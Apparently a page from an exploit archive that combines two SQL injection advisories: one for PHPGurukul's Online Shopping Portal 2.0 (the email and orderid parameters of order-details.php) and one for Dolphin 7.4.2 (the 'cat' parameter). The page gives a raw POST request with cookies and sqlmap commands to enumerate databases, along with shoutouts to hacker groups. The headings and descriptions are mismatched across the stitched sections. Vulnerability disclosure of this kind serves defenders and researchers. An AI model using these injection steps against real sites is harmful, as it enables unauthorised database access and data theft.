    [x]========================================================================================================================================[x] | Title        : Online Shopping Portal Project 2.0 SQL Vulnerabilities | Software     : Online Shopping Portal Project | Create By    : https://phpgurukul.com/author/anujk305/ | Version  : V 2.0 | Last Updated  : 06 June 2024 | Download     : https://phpgurukul.com/shopping-portal-free-download/ | Date         : 03 Agustus 2024 | Author       : OoN_Boy[x]========================================================================================================================================[x] | Technology  : PHP | Database  : MySQL | Price  : FREE | Description  : E-commerce means any transaction over the internet.[x]========================================================================================================================================[x][O] Exploit    http://127.0.0.1/shopping/order-details.php [email parameter]  http://127.0.0.1/shopping/order-details.php [orderid parameter]    [O] Proof of concept    create an account and order one of the items, then track your order.  sqlmap.py "YOU RAW DATA" --dbs  [SQL]  POST /shopping/order-details.php HTTP/1.1  Host: 127.0.0.1  Content-Length: 42  Cache-Control: max-age=0  sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"  sec-ch-ua-mobile: ?0  sec-ch-ua-platform: "Windows"  Accept-Language: en-US  Upgrade-Insecure-Requests: 1  Origin: http://127.0.0.1  Content-Type: application/x-www-form-urlencoded  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Sec-Fetch-Site: same-origin  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: http://127.0.0.1/shopping/track-orders.php  Accept-Encoding: gzip, deflate, br  Cookie: auth-token-secret=ce668e880e958286436c06776b331b4b; auth-token=cc6dae05ce833672d48f461769dcd56c; PHPSESSID=qnae9mjoqfs22v54k55e1bt1hh  Connection: keep-alive  orderid=1&email=vrs_hck@maho.id&submit=    [x]========================================================================================================================================[x][O] GreetzBatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^[x]========================================================================================================================================[x]

Online Shopping Portal Project 2.0 SQL Injection

Dolphin version 7.4.2 suffers from a remote blind SQL injection vulnerability.

    # Exploit Title: Blind SQL Injection - dolphinv7.4.2.# Date: 8/2024# Exploit Author: Andrey Stoykov# Version: 7.4.2# Tested on: Ubuntu 22.04# Blog:https://msecureltd.blogspot.com/2024/07/friday-fun-pentest-series-8-dolphinv742.htmlSQL Injection:Steps to Reproduce:1. Navigate to "Builders" menu2. The HTTP GET parameter of "?cat=builders" is displayed in the URL bar3. That is the injection pointsqlmap -r request.txt --dbms=mysql -p cat[...][INFO] the back-end DBMS is MySQLweb application technology: PHP 5.4.45, Apacheback-end DBMS: MySQL >= 5.0.12[...]

Tag

#auth